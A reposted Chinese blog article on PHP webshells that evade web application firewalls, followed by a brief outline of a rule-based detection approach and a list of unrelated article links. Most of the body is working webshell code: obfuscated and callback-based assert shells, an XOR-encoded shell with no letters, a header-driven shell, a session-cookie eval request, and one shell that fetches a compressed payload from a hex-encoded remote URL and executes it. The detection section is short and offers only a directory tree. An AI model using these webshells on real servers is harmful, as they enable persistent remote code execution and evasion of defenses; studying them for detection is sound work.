PHP常见过waf webshell以及最简单的检测方法


Posted in PHP onMay 21, 2019

前言

之前在Webshell查杀的新思路中留了一个坑 ️,当时没有找到具体找到全部变量的方法,后来通过学习找到了个打印全部量的方法,并再次学习了下PHP webshell绕过WAF的方法,以此来验证下此方法是否合理。

如有错误,还请指出,不胜感激! :turtle:拜

在那篇文章中我突然想到一种检测webshell的方法,就是首先获取到当前文件中的所有变量(不明白的可以先去看下之前的文章),然后再根据正则库进行静态检测。

自认为这种方法虽然会检测不完全(每个检测机制都不能保障全部有效),但是感觉非常简单、实用,也没那么多高深的道理。

为了验证该检测机制,首先了解下目前PHP webshell绕过WAF的方法。

常见绕过WAF的PHP webshell

字符串变形

大小写、编码、截取、替换、特殊字符拼接、null、回车、换行、特殊字符串干扰

<?php
$a = base64_decode("YXNzYXNz+00000____");
$a = substr_replace($a,"ert",3);
$a($_POST['x']);
?>

ucwords()
ucfirst()
trim()
substr_replace()
substr()
strtr()
strtoupper()
strtolower()
strtok()
str_rot13()
chr()
gzcompress()、gzdeflate()、gzencode()
gzuncompress()、gzinflate()、gzdecode()
base64_encode()
base64_decode()
pack()
unpack()

自写函数

利用 assert()

<?php 
function test($a){
  $a($_POST['x']);
}
test(assert);
?>

回调函数

<?php 
call_user_func(assert,array($_POST[x]));
?>

call_user_func_array()
array_filter() 
array_walk() 
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()
forward_static_call_array()


利用魔术方法、析构函数 __destruct() , __construct()

<?php 
class test
{
 public $a = '';
 function __destruct(){
  assert("$this->a");
 }
}
$b = new test;
$b->a = $_POST['x'];
?>

利用外部文件

利用 curl , fsockopen 等发起网络请求再结合 file_get_contents

<?php
error_reporting(0);
session_start();
header("Content-type:text/html;charset=utf-8");if(empty($_SESSION['api']))
$_SESSION['api']=substr(file_get_contents(sprintf('%s?%s',pack("H*",
'687474703a2f2f7777772e77326e31636b2e636f6d2f7368656c6c2f312e6a7067'),uniqid())),3649);
@preg_replace("~(.*)~ies",gzuncompress($_SESSION['api']),null);
?>

无字符特征马

编码、异或、自增

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);
?>

特殊请求头

利用 getallheaders()

<?php
$cai=getallheaders()['cai'];
$dao=getallheaders()['dao'];
if($cai!="" and $dao!=""){
 $cai=gzuncompress(base64_decode($cai));$cai(gzuncompress(base64_decode($dao)));
}
header('HTTP/1.1 404 Not Found');
?>

全局变量

利用 getenv() , arrag_flip() , get_defined_vars() , session_id()

import requests
url = 'http://localhost/?code=eval(hex2bin(session_id(session_start())));'
payload = "phpinfo();".encode('hex')
cookies = {
 'PHPSESSID':payload
}
r = requests.get(url=url,cookies=cookies)
print r.content

PHP混淆加解密

以phpjiami为例

就是将函数名、变量名全部变成”乱码”,且改动任意一个地方,都将导致文件不能运行。具体可访问: https://www.phpjiami.com/

PHP webshell检测方法

目前我所了解的webshell检测方式有:

  1. 机器学习检测webshell:比如混淆度、最长单词、重合指数、特征、压缩比等
  2. 动态检测(沙箱)
  3. 基于流量模式检测webshell:agent
  4. 逆向算法+静态匹配检测webshell:比如D盾webshell查杀
  5. 根据文件入度出度来检测

实例展示

这里以PHPjiami的webshell为例,其中 2.php 即为phpjiama的木马

PHP常见过waf webshell以及最简单的检测方法

可以明显看到明显的webshell规则了,这样再用静态规则、正则等即可轻松检测到。

简单检测思路

检测思路:

文件上传->文件包含->获取所有文件中的变量到临时文件中->静态规则匹配临时文件->返回匹配结果

├── __init__.py
├── conf
│   ├── __init__.py
│   ├── config.py
├── core
│   ├── __init__.py
│   ├── all_check.py
│   ├── data_mysql.py
│   └── file_inotify.py
├── lib
│   ├── __init__.py
│   └── semantic_analysis_api.py
├── test
│   ├── __init__.py
│   ├── file_md5_move.py
│   ├── os_check.py
│   ├── random_file_test.py
│   └── ...
├── web
│   ├── static
│   │   ├── css
│   │   │   ├── main.css
│   │   ├── images
│   │   │   └── background.jpg
│   │   └── js
│   │       └── upload.js
│   ├── templates
│   │   ├── index.html
│   ├── upload_file.php
│   └── include_file_to_tmp.php
├── webshell_check.py

conf中包含的是诸如下列的静态检测规则

PHP常见过waf webshell以及最简单的检测方法

总结

以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对三水点靠木的支持。

PHP 相关文章推荐
小偷PHP+Html+缓存
Dec 20 PHP
php项目打包方法
Feb 18 PHP
解析file_get_contents模仿浏览器头(user_agent)获取数据
Jun 27 PHP
PHP函数microtime()用法与说明
Dec 04 PHP
php生成excel文件的简单方法
Feb 08 PHP
ThinkPHP 3.2 数据分页代码分享
Oct 14 PHP
php中数据库连接方式pdo和mysqli对比分析
Feb 25 PHP
实现WordPress主题侧边栏切换功能的PHP脚本详解
Dec 14 PHP
php获取当前页面完整URL地址
Dec 30 PHP
PHP遍历目录文件的常用方法小结
Feb 03 PHP
php中目录操作opendir()、readdir()及scandir()用法示例
Jun 08 PHP
php反序列化长度变化尾部字符串逃逸(0CTF-2016-piapiapia)
Feb 15 PHP
PHP __call()方法实现委托示例
May 20 #PHP
PHP消息队列实现及应用详解【队列处理订单系统和配送系统】
May 20 #PHP
PHP常量define和const的区别详解
May 18 #PHP
thinkphp5框架实现的自定义扩展类操作示例
May 16 #PHP
java解析json方法总结
May 16 #PHP
微信支付之JSAPI公众号支付详解
May 15 #PHP
php获取目录下所有文件及目录(多种方法)(推荐)
May 14 #PHP
You might like
php数组函数序列之array_combine() - 数组合并函数使用说明
2011/10/29 PHP
MyEclipse常用配置图文教程
2014/09/11 PHP
一个经典的PHP验证码类分享
2014/11/18 PHP
PHP文件生成的图片无法使用CDN缓存的解决方法
2015/06/20 PHP
js页面滚动时层智能浮动定位实现(jQuery/MooTools)
2011/08/23 Javascript
JS对select控件option选项的增删改查示例代码
2013/10/21 Javascript
Javscript删除数组中指定元素并返回新数组
2014/03/06 Javascript
javascript获取浏览器类型和版本的方法(js获取浏览器版本)
2014/03/13 Javascript
JQuery实现超链接鼠标提示效果的方法
2015/06/10 Javascript
自己动手制作基于jQuery的Web页面加载进度条插件
2016/06/03 Javascript
jq实现左滑显示删除按钮,点击删除实现删除数据功能(推荐)
2016/08/23 Javascript
Vue.js第一天学习笔记(数据的双向绑定、常用指令)
2016/12/01 Javascript
jQuery中的一些小技巧
2017/01/18 Javascript
js自定义Tab选项卡效果
2017/06/05 Javascript
基于vue.js 2.x的虚拟滚动条的示例代码
2018/01/23 Javascript
快速解决vue在ios端下点击响应延时的问题
2018/08/27 Javascript
利用hasOwnProperty给数组去重的面试题分享
2018/11/05 Javascript
vue组件命名和props命名代码详解
2019/09/01 Javascript
vue3修改link标签默认icon无效问题详解
2019/10/09 Javascript
webpack常用配置总览(小结)
2019/11/18 Javascript
小程序采集录音并上传到后台
2019/11/22 Javascript
Element Dialog对话框的使用示例
2020/07/26 Javascript
vue实现验证用户名是否可用
2021/01/20 Vue.js
使用Python的turtle模块画图的方法
2017/11/15 Python
详解python多线程、锁、event事件机制的简单使用
2018/04/27 Python
python2与python3共存问题的解决方法
2018/09/18 Python
解决python写入带有中文的字符到文件错误的问题
2019/01/31 Python
python GUI库图形界面开发之PyQt5开发环境配置与基础使用
2020/02/25 Python
python中的时区问题
2021/01/14 Python
中国跨境在线时尚零售商:Bellelily
2018/04/06 全球购物
PHP开发的一般流程
2013/08/13 面试题
初中三年学生的学习自我评价
2013/11/13 职场文书
和解协议书
2014/04/16 职场文书
客户经理岗位职责大全
2015/04/09 职场文书
2016入党培训心得体会范文
2016/01/08 职场文书
图解上海144收音机
2021/04/22 无线电